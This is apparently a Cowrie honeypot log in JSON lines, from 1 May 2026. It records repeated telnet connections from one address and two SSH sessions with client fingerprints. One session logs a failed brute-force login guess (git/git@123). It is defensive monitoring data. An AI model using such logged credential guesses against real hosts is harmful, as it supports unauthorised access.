{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56964,"dst_ip":"10.17.0.5","dst_port":23,"session":"d66bc51dc47e","protocol":"telnet","message":"New connection: 198.50.122.223:56964 (10.17.0.5:23) [session: d66bc51dc47e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:42.260686Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38190,"dst_ip":"10.17.0.5","dst_port":23,"session":"be6f673f56f8","protocol":"telnet","message":"New connection: 198.50.122.223:38190 (10.17.0.5:23) [session: be6f673f56f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:44.245476Z"}
{"eventid":"cowrie.session.closed","duration":31.126537084579468,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:44.675353Z","src_ip":"198.50.122.223","session":"fd8907b1a904","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31344509124756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:44.757327Z","src_ip":"198.50.122.223","session":"ae718eafeb32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.57811403274536,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:44.779958Z","src_ip":"198.50.122.223","session":"02c15d074cba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41954,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8290348ad29","protocol":"telnet","message":"New connection: 198.50.122.223:41954 (10.17.0.5:23) [session: f8290348ad29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:45.001422Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42154,"dst_ip":"10.17.0.5","dst_port":23,"session":"df099e4e614e","protocol":"telnet","message":"New connection: 198.50.122.223:42154 (10.17.0.5:23) [session: df099e4e614e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:45.069036Z"}
{"eventid":"cowrie.session.closed","duration":30.805142879486084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:45.281643Z","src_ip":"198.50.122.223","session":"fbfc715632be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97841167449951,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:45.286858Z","src_ip":"198.50.122.223","session":"288ccf536339","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43040,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b178ee4b6d2","protocol":"telnet","message":"New connection: 198.50.122.223:43040 (10.17.0.5:23) [session: 2b178ee4b6d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:45.375018Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49106,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bd0fd1863eb","protocol":"telnet","message":"New connection: 198.50.122.223:49106 (10.17.0.5:23) [session: 6bd0fd1863eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:46.544981Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53094,"dst_ip":"10.17.0.5","dst_port":23,"session":"84a04cc67945","protocol":"telnet","message":"New connection: 198.50.122.223:53094 (10.17.0.5:23) [session: 84a04cc67945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:47.276613Z"}
{"eventid":"cowrie.session.closed","duration":31.11338472366333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:47.664402Z","src_ip":"198.50.122.223","session":"ce512cdfe42b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.728737354278564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:48.365813Z","src_ip":"198.50.122.223","session":"3a9742b4e80d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":57254,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb71fdf076f6","protocol":"ssh","message":"New connection: 148.216.28.11:57254 (159.203.135.109:22) [session: eb71fdf076f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:48.427555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:48.432312Z","src_ip":"148.216.28.11","session":"eb71fdf076f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.117382764816284,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:48.443252Z","src_ip":"198.50.122.223","session":"55a078feadf3","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:48.499499Z","src_ip":"148.216.28.11","session":"eb71fdf076f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git@123","message":"login attempt [git/git@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:48.798307Z","src_ip":"148.216.28.11","session":"eb71fdf076f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":35016,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cca63cee9de","protocol":"telnet","message":"New connection: 198.50.122.223:35016 (10.17.0.5:23) [session: 9cca63cee9de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:49.282892Z"}
{"eventid":"cowrie.session.closed","duration":30.58593773841858,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:49.288898Z","src_ip":"198.50.122.223","session":"c32ddad05cdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00679349899292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:49.504916Z","src_ip":"198.50.122.223","session":"5a30333cebb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38064,"dst_ip":"10.17.0.5","dst_port":23,"session":"a627bfbe77fd","protocol":"telnet","message":"New connection: 198.50.122.223:38064 (10.17.0.5:23) [session: a627bfbe77fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:49.744262Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:49.867288Z","src_ip":"148.216.28.11","session":"eb71fdf076f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38736,"dst_ip":"10.17.0.5","dst_port":23,"session":"156706bd856b","protocol":"telnet","message":"New connection: 198.50.122.223:38736 (10.17.0.5:23) [session: 156706bd856b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:49.880367Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40206,"dst_ip":"10.17.0.5","dst_port":23,"session":"61d8fa15f1c5","protocol":"telnet","message":"New connection: 198.50.122.223:40206 (10.17.0.5:23) [session: 61d8fa15f1c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:50.270663Z"}
{"eventid":"cowrie.session.closed","duration":30.48632550239563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:50.324365Z","src_ip":"198.50.122.223","session":"f84ce977d9a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.814138412475586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:50.367134Z","src_ip":"198.50.122.223","session":"543785dc21cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42400,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b1ca0c4436f","protocol":"telnet","message":"New connection: 198.50.122.223:42400 (10.17.0.5:23) [session: 4b1ca0c4436f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:50.687516Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45992,"dst_ip":"10.17.0.5","dst_port":23,"session":"779de5199831","protocol":"telnet","message":"New connection: 198.50.122.223:45992 (10.17.0.5:23) [session: 779de5199831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:51.422943Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51560,"dst_ip":"10.17.0.5","dst_port":23,"session":"02264c046953","protocol":"telnet","message":"New connection: 198.50.122.223:51560 (10.17.0.5:23) [session: 02264c046953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:52.495289Z"}
{"eventid":"cowrie.session.closed","duration":31.03804898262024,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:52.500369Z","src_ip":"198.50.122.223","session":"37b8b4c6d3d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.260977268218994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:52.674344Z","src_ip":"198.50.122.223","session":"1677f909ff46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55000,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8c8cf418efd","protocol":"telnet","message":"New connection: 198.50.122.223:55000 (10.17.0.5:23) [session: a8c8cf418efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:53.015176Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55180,"dst_ip":"10.17.0.5","dst_port":23,"session":"058b7cf372c9","protocol":"telnet","message":"New connection: 198.50.122.223:55180 (10.17.0.5:23) [session: 058b7cf372c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:53.092324Z"}
{"eventid":"cowrie.session.closed","duration":30.765428066253662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:53.330707Z","src_ip":"198.50.122.223","session":"58a26bd56f31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.671716928482056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:53.390782Z","src_ip":"198.50.122.223","session":"8819d3a7059d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57352,"dst_ip":"10.17.0.5","dst_port":23,"session":"063a1e06ddb8","protocol":"telnet","message":"New connection: 198.50.122.223:57352 (10.17.0.5:23) [session: 063a1e06ddb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:53.529795Z"}
{"eventid":"cowrie.session.closed","duration":31.193852424621582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:54.513518Z","src_ip":"198.50.122.223","session":"51562a093388","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.428685188293457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:54.880277Z","src_ip":"198.50.122.223","session":"d111852603ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38562,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d5860593476","protocol":"telnet","message":"New connection: 198.50.122.223:38562 (10.17.0.5:23) [session: 8d5860593476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:55.430280Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38720,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cbe13f89fdd","protocol":"telnet","message":"New connection: 198.50.122.223:38720 (10.17.0.5:23) [session: 5cbe13f89fdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:55.467228Z"}
{"eventid":"cowrie.session.closed","duration":30.620408058166504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:55.538716Z","src_ip":"198.50.122.223","session":"2f026c85c54b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.212586402893066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:55.826326Z","src_ip":"198.50.122.223","session":"580732742c20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.863779067993164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:56.435416Z","src_ip":"198.50.122.223","session":"068face7a793","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.688414812088013,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:56.516875Z","src_ip":"198.50.122.223","session":"2d21fa317a18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44942,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbb6149e3506","protocol":"telnet","message":"New connection: 198.50.122.223:44942 (10.17.0.5:23) [session: bbb6149e3506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:56.585360Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45930,"dst_ip":"10.17.0.5","dst_port":23,"session":"671ba906f07c","protocol":"telnet","message":"New connection: 198.50.122.223:45930 (10.17.0.5:23) [session: 671ba906f07c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:56.766934Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":47458,"dst_ip":"10.17.0.5","dst_port":23,"session":"07a285e3d7c9","protocol":"telnet","message":"New connection: 198.50.122.223:47458 (10.17.0.5:23) [session: 07a285e3d7c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:57.050448Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48006,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f3fb56abdcc","protocol":"telnet","message":"New connection: 198.50.122.223:48006 (10.17.0.5:23) [session: 9f3fb56abdcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:57.231623Z"}
{"eventid":"cowrie.session.closed","duration":31.012065649032593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:57.327469Z","src_ip":"198.50.122.223","session":"ad8840d9c47d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49006,"dst_ip":"10.17.0.5","dst_port":23,"session":"b11803a4eab5","protocol":"telnet","message":"New connection: 198.50.122.223:49006 (10.17.0.5:23) [session: b11803a4eab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:57.430237Z"}
{"eventid":"cowrie.session.closed","duration":30.691304445266724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:57.464343Z","src_ip":"198.50.122.223","session":"36bd9f86dd7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.643476724624634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:57.468252Z","src_ip":"198.50.122.223","session":"67d5a4a8cef7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.071706295013428,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:57.474408Z","src_ip":"198.50.122.223","session":"04d6c060d2c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.013538599014282,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:57.516313Z","src_ip":"198.50.122.223","session":"daf5f9bc1e78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52200,"dst_ip":"10.17.0.5","dst_port":23,"session":"b78af700a2d1","protocol":"telnet","message":"New connection: 198.50.122.223:52200 (10.17.0.5:23) [session: b78af700a2d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:58.019104Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52248,"dst_ip":"10.17.0.5","dst_port":23,"session":"120bae743cb0","protocol":"telnet","message":"New connection: 198.50.122.223:52248 (10.17.0.5:23) [session: 120bae743cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:58.063011Z"}
{"eventid":"cowrie.session.closed","duration":31.11979866027832,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:58.280466Z","src_ip":"198.50.122.223","session":"1fd83ab02cf4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31667685508728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:58.305927Z","src_ip":"198.50.122.223","session":"ab363332c2b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36836862564087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:58.408675Z","src_ip":"198.50.122.223","session":"dd67a3405083","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53726,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc45e10b8032","protocol":"telnet","message":"New connection: 198.50.122.223:53726 (10.17.0.5:23) [session: fc45e10b8032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:58.452651Z"}
{"eventid":"cowrie.session.closed","duration":31.323811054229736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:58.516862Z","src_ip":"198.50.122.223","session":"727f7b9b8eef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56596,"dst_ip":"10.17.0.5","dst_port":23,"session":"830737383dec","protocol":"telnet","message":"New connection: 198.50.122.223:56596 (10.17.0.5:23) [session: 830737383dec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:58.920405Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":58764,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dfb7b769db6","protocol":"telnet","message":"New connection: 198.50.122.223:58764 (10.17.0.5:23) [session: 9dfb7b769db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:59.477141Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34146,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a7aeb09e03a","protocol":"telnet","message":"New connection: 198.50.122.223:34146 (10.17.0.5:23) [session: 3a7aeb09e03a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:00.087389Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34550,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f67bb114f77","protocol":"telnet","message":"New connection: 198.50.122.223:34550 (10.17.0.5:23) [session: 2f67bb114f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:00.214854Z"}
{"eventid":"cowrie.session.closed","duration":31.22669005393982,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:00.513847Z","src_ip":"198.50.122.223","session":"7539086e8195","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":63016,"dst_ip":"10.17.0.5","dst_port":22,"session":"7161fbc4a085","protocol":"ssh","message":"New connection: 87.251.64.176:63016 (10.17.0.5:22) [session: 7161fbc4a085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:00.573627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:00.577952Z","src_ip":"87.251.64.176","session":"7161fbc4a085","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:00.673879Z","src_ip":"87.251.64.176","session":"7161fbc4a085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.856120824813843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:00.790383Z","src_ip":"198.50.122.223","session":"5beb1898280c","protocol":"telnet"}
